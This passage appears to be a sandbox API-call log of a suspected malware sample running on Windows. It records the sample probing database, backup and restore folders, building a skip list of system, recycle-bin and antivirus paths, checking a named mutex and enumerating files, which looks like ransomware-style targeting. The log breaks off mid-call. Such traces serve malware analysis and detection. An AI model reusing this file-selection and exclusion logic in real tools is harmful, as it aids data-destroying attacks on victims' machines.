lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0056.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18䁼Q\x181")) returned 0xffffffff [0056.389] GetLastError () returned 0x2 [0056.389] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0056.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@ꍴR企@\x18?T\x18;")) returned 0xffffffff [0056.389] GetLastError () returned 0x2 [0056.389] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0056.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18D")) returned 0xffffffff [0056.390] GetLastError () returned 0x2 [0056.390] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0056.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@ꍴR企@\x18Q\x18j")) returned 0xffffffff [0056.390] GetLastError () returned 0x2 [0056.390] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0056.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0056.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@숼R企@\x18?T\x18q")) returned 0xffffffff [0056.391] GetLastError () returned 0x2 [0056.391] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0056.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0056.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18y")) returned 0xffffffff [0056.392] GetLastError () returned 0x2 [0056.392] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0056.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@숼R企@\x18?T\x18\x81")) returned 0xffffffff [0056.392] GetLastError () returned 0x2 [0056.392] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0056.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18\x88")) returned 0xffffffff [0056.393] GetLastError () returned 0x2 [0056.393] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0056.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@숼R企@\x18?T\x18\x8f")) returned 0xffffffff [0056.393] GetLastError () returned 0x2 [0056.393] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0056.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18\x97")) returned 0xffffffff [0056.394] GetLastError () returned 0x2 [0056.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.394] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.394] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.394] GlobalUnlock (hMem=0x44000c) returned 0 [0056.394] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.394] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.394] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.394] GlobalUnlock (hMem=0x44000c) returned 0 [0056.394] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.394] GlobalUnlock (hMem=0x440004) returned 0 [0056.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.394] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.395] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0056.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.395] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0056.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.395] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0056.395] GlobalLock (hMem=0x440004) returned 0x550170 [0056.395] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.395] GlobalUnlock (hMem=0x440004) returned 0 [0056.395] GlobalLock (hMem=0x440004) returned 0x550170 [0056.395] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.395] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.396] GlobalUnlock (hMem=0x440004) returned 0 [0056.396] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.396] GlobalUnlock (hMem=0x44000c) returned 0 [0056.396] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0056.396] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0056.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0056.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0056.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0056.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0056.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0056.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0056.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\1033\\") returned 0x40 [0056.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0056.398] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.398] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.398] GlobalUnlock (hMem=0x44000c) returned 0 [0056.398] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.398] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.398] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.398] GlobalUnlock (hMem=0x44000c) returned 0 [0056.398] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.398] GlobalUnlock (hMem=0x440004) returned 0 [0056.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0056.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.399] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.399] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0056.399] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.399] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.399] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.399] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.399] GlobalUnlock (hMem=0x440004) returned 0 [0056.399] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.399] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.399] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.399] GlobalUnlock (hMem=0x440004) returned 0 [0056.399] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.399] GlobalUnlock (hMem=0x44000c) returned 0 [0056.399] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.400] CharLowerBuffW (in: lpsz="MSOSVINT.DLL", cchLength=0xc | out: lpsz="msosvint.dll") returned 0xc [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 